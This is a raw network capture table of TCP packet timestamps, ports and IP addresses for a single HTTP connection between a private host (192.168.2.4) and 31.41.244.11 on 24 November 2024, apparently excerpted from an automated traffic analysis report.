Nov 24, 2024 12:24:14.953840971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.953866959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.953912973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.954636097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.954683065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.954977036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.955024958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.955728054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.955770016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.955789089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.955832958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.956478119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.956522942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.956676960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.956722021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.957379103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.957425117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.957490921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.957535028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.958298922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.958344936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.958398104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.958446980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.959214926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.959269047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.959363937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.959409952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.960143089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.960191011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.960227013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.960270882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.961061954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.961107016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.961210966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.961256981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.962025881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.962071896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.962136030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.962179899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.962893963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.962940931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.963022947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.963072062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.963805914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.963850975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.963901043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.963944912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.964684010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.964730978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.964792967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.964850903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.965626001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.965672016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.965709925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.965754986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.966532946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.966579914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.966654062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.966698885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.967442989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.967487097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.967565060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.967612028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.968352079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.968394995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.968468904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.968513966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.969284058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.969330072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.969495058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.969540119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.970213890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.970258951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.970374107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.970418930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.971121073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.971168041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.971220016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.971263885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.972040892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.972086906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.972148895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.972194910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.972944975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.972990990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.973052025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.973097086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.973856926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.973903894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.973964930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.974009037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.974783897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.974829912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.974860907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.974905014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.975728035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.975853920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.975918055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.976599932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.976680040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.976742983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.977516890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.977576971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.977607965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.978044033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.978437901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.978482962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.978529930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.978576899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.979355097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.979394913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.979474068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.979516983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.980285883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.980329037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.980354071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.980398893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.981179953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.981225014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.981345892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.981391907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.982115984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.982165098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.982191086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.982233047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.983021021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.983068943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.983120918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.983206034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.983953953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.984002113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.984060049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.984102964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.984963894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.985008955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.985068083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.985110998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.985807896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.985850096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.985867023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.985905886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.986682892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.986728907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.986855984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.986900091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.987622976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.987668991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.987703085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.987746954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.988543987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.988588095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.141767025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.141851902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.141905069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.142043114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.142117977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.142205000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.142333984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.142379045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.143166065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.143212080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.143265963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.143482924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.144094944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.144143105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.144205093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.144284964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.145009995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.145054102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.145060062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.145136118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.145911932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.146023035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.146064997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.146950960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.147020102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.147063017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.147912025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.147963047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.148046017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.148170948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.148746014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.148802042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.148900032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.148966074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.149578094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.149642944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.149714947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.149758101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.150496960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.150547028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.150592089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.150748968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.151472092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.151599884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.151645899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.152348995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.152395964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.152451992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.153259039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.153430939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.153481007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.154175043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.154270887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.154320002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.155076027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.155131102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.155163050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.155205965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.156039000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.156095982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.156198025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.156244040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.156990051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.157068968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.157100916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.157116890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.157881975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.157931089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.158004999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.158092022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.158803940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.158850908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.158937931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.159053087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.159636021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.159800053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.159846067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.160581112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.160685062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.160729885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.161510944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.161621094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.161667109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.162565947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.162862062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.163068056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.163141012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.163378000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.163429022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.163938999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.163986921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.164241076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.164258957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.164299011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.165143967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.165186882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.165232897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.165283918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.166064024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.166184902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.166224003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.167022943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.167187929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.167229891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.168024063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.168092966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.168112993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.168843031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.168889999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.168951988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.169754028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.169801950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.169846058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.169889927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.170630932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.170764923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.170815945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.171662092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.171806097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.171852112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.172492981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.172540903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.172560930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.173394918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.173458099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.173583031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.174319983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.174385071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.174431086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.175219059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.175261974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.175321102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.175362110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.176121950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.176232100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.176271915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.177066088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.177161932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.177205086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.178000927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.178045034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.178096056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.178415060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.178890944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.178946972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.178991079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.179826021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.179876089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.179944992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.180717945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.180762053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.180824995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.180867910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.181638002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.181765079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.181806087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.182549000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.182660103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.182703972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.183478117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.183547020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.183603048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.183649063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.184382915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.184426069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.184659958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.184705019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.185282946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.185324907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.185396910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.185437918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.186212063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.186254025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.186326027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.186364889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.187127113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.187211990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.187258005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.188138008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.188245058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.188288927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.188949108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.188992977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.189038038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.190419912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.345390081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.345515966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.345699072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.345756054 CET	80	49765	31.41.244.11	192.168.2.4
